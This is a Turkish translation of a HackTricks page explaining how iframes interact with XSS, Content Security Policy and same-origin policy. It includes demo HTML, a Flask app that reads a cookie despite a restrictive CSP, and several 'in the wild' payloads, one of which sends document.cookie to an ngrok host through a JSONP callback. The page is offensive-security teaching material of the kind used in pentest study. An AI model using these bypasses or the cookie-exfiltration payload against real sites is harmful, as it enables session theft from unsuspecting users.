9.1 KiB
XSS'te Iframe'ler, CSP ve SOP
AWS hacklemeyi sıfırdan kahraman olmaya kadar öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)!
- Bir cybersecurity şirketinde çalışıyor musunuz? Şirketinizi HackTricks'te reklamını görmek ister misiniz? veya PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek ister misiniz? ABONELİK PLANLARINI kontrol edin!
- The PEASS Ailesi'ni, özel NFT'lerimiz koleksiyonumuzu keşfedin.
- Resmi PEASS & HackTricks ürünlerini edinin.
- 💬 Discord grubuna veya telegram grubuna katılın veya Twitter'da beni takip edin 🐦@carlospolopm.
- Hacking hilelerinizi hacktricks repo'ya ve hacktricks-cloud repo'ya PR göndererek paylaşın.
XSS'te Iframe'ler
Bir iframeli sayfanın içeriğini belirtmek için 3 yol vardır:
src
ile bir URL belirterek (URL, cross origin veya same origin olabilir)src
iledata:
protokolünü kullanarak içeriği belirterek- İçeriği belirterek
srcdoc
kullanarak
Ebeveyn ve Çocuk değişkenlere erişme
<html>
<script>
var secret = "31337s3cr37t";
</script>
<iframe id="if1" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe id="if2" src="child.html"></iframe>
<iframe id="if3" srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe id="if4" src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
<script>
function access_children_vars(){
alert(if1.secret);
alert(if2.secret);
alert(if3.secret);
alert(if4.secret);
}
setTimeout(access_children_vars, 3000);
</script>
</html>
<!-- content of child.html -->
<script>
var secret="child secret";
alert(parent.secret)
</script>
Eğer önceki html'e bir http sunucusu üzerinden erişirseniz (örneğin python3 -m http.server
), tüm betiklerin çalıştığını fark edeceksiniz (çünkü bunu önleyen bir CSP yoktur). Ana sayfa, herhangi bir iframe içindeki secret
değişkenine erişemez ve yalnızca aynı site olarak kabul edilen if2 ve if3 iframe'leri orijinal penceredeki secret'e erişebilir.
if4'ün null
kökenine sahip olduğuna dikkat edin.
CSP ile İframe'ler
{% hint style="info" %} Lütfen, aşağıdaki bypasslarda iframeli sayfaya gelen yanıtta JS yürütmesini önleyen herhangi bir CSP başlığı olmadığını dikkate alın. {% endhint %}
script-src
'nin self
değeri, JS kodunun data:
protokolünü veya srcdoc
özniteliğini kullanarak yürütülmesine izin vermez.
Ancak, CSP'nin none
değeri bile, src
özniteliğine bir URL (tam veya sadece yol) koyan iframelerin yürütülmesine izin verecektir.
Bu nedenle, bir sayfanın CSP'sini aşmak mümkündür:
<html>
<head>
<meta http-equiv="Content-Security-Policy" content="script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk='">
</head>
<script>
var secret = "31337s3cr37t";
</script>
<iframe id="if1" src="child.html"></iframe>
<iframe id="if2" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe id="if3" srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe id="if4" src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
</html>
Önceki CSP'nin yalnızca içerideki betiğin yürütülmesine izin verdiğine dikkat edin.
Ancak, yalnızca if1
ve if2
betikleri yürütülecek, ancak yalnızca if1
üst öğeye erişebilecek.
Bu nedenle, bir JS dosyasını sunucuya yükleyebilir ve script-src 'none'
ile bile iframe üzerinden yükleyebilirseniz, bir CSP'yi atlayabilirsiniz. Bu, aynı site JSONP uç noktasını kötüye kullanarak da potansiyel olarak yapılabilir.
Aşağıdaki senaryo ile script-src 'none'
ile bile bir çerez çalınabilir. Uygulamayı çalıştırın ve tarayıcınızla erişin:
import flask
from flask import Flask
app = Flask(__name__)
@app.route("/")
def index():
resp = flask.Response('<html><iframe id="if1" src="cookie_s.html"></iframe></html>')
resp.headers['Content-Security-Policy'] = "script-src 'self'"
resp.headers['Set-Cookie'] = 'secret=THISISMYSECRET'
return resp
@app.route("/cookie_s.html")
def cookie_s():
return "<script>alert(document.cookie)</script>"
if __name__ == "__main__":
app.run()
Vahşi Doğada Bulunan Diğer Yükler
<!-- This one requires the data: scheme to be allowed -->
<iframe srcdoc='<script src="data:text/javascript,alert(document.domain)"></script>'></iframe>
<!-- This one injects JS in a jsonp endppoint -->
<iframe srcdoc='<script src="/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
<!-- sometimes it can be achieved using defer& async attributes of script within iframe (most of the time in new browser due to SOP it fails but who knows when you are lucky?)-->
<iframe src='data:text/html,<script defer="true" src="data:text/javascript,document.body.innerText=/hello/"></script>'></iframe>
Iframe sandbox
Iframe içindeki içerik, sandbox
özelliği kullanılarak ek kısıtlamalara tabi tutulabilir. Varsayılan olarak, bu özellik uygulanmaz, yani hiçbir kısıtlama yoktur.
Kullanıldığında, sandbox
özelliği birkaç kısıtlama getirir:
- İçerik, benzersiz bir kaynaktan geldiği gibi işlenir.
- Form gönderme girişimleri engellenir.
- Scriptlerin çalıştırılması yasaktır.
- Belirli API'lere erişim devre dışı bırakılır.
- Bağlantıların diğer gezinme bağlamlarıyla etkileşimini engeller.
<embed>
,<object>
,<applet>
veya benzer etiketler aracılığıyla eklentilerin kullanımına izin verilmez.- İçeriğin kendisi tarafından içeriğin üst düzey gezinme bağlamının gezinmesi engellenir.
- Video oynatma veya form kontrollerinin otomatik odaklanması gibi otomatik olarak tetiklenen özellikler engellenir.
Özniteliğin değeri, tüm yukarıda belirtilen kısıtlamaların uygulanması için boş bırakılabilir (sandbox=""
). Alternatif olarak, iframe'ı belirli kısıtlamalardan muaf tutan boşlukla ayrılmış bir değer listesi olarak ayarlanabilir.
<iframe src="demo_iframe_sandbox.htm" sandbox></iframe>
SOP'da Iframe'ler
Aşağıdaki sayfalara bakın:
{% content-ref url="../postmessage-vulnerabilities/bypassing-sop-with-iframes-1.md" %} bypassing-sop-with-iframes-1.md {% endcontent-ref %}
{% content-ref url="../postmessage-vulnerabilities/bypassing-sop-with-iframes-2.md" %} bypassing-sop-with-iframes-2.md {% endcontent-ref %}
{% content-ref url="../postmessage-vulnerabilities/blocking-main-page-to-steal-postmessage.md" %} blocking-main-page-to-steal-postmessage.md {% endcontent-ref %}
{% content-ref url="../postmessage-vulnerabilities/steal-postmessage-modifying-iframe-location.md" %} steal-postmessage-modifying-iframe-location.md {% endcontent-ref %}
AWS hackleme konusunda sıfırdan kahramana dönüşün htARTE (HackTricks AWS Red Team Expert)!
- Bir cybersecurity şirketinde çalışıyor musunuz? Şirketinizi HackTricks'te reklamını yapmak veya PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek ister misiniz? ABONELİK PLANLARINI kontrol edin!
- The PEASS Family koleksiyonumuz olan özel NFT'leri keşfedin.
- Resmi PEASS & HackTricks ürünlerine sahip olun.
- 💬 Discord grubuna veya telegram grubuna katılın veya Twitter'da beni takip edin 🐦@carlospolopm.
- Hacking hilelerinizi hacktricks repo ve hacktricks-cloud repo'ya PR göndererek paylaşın.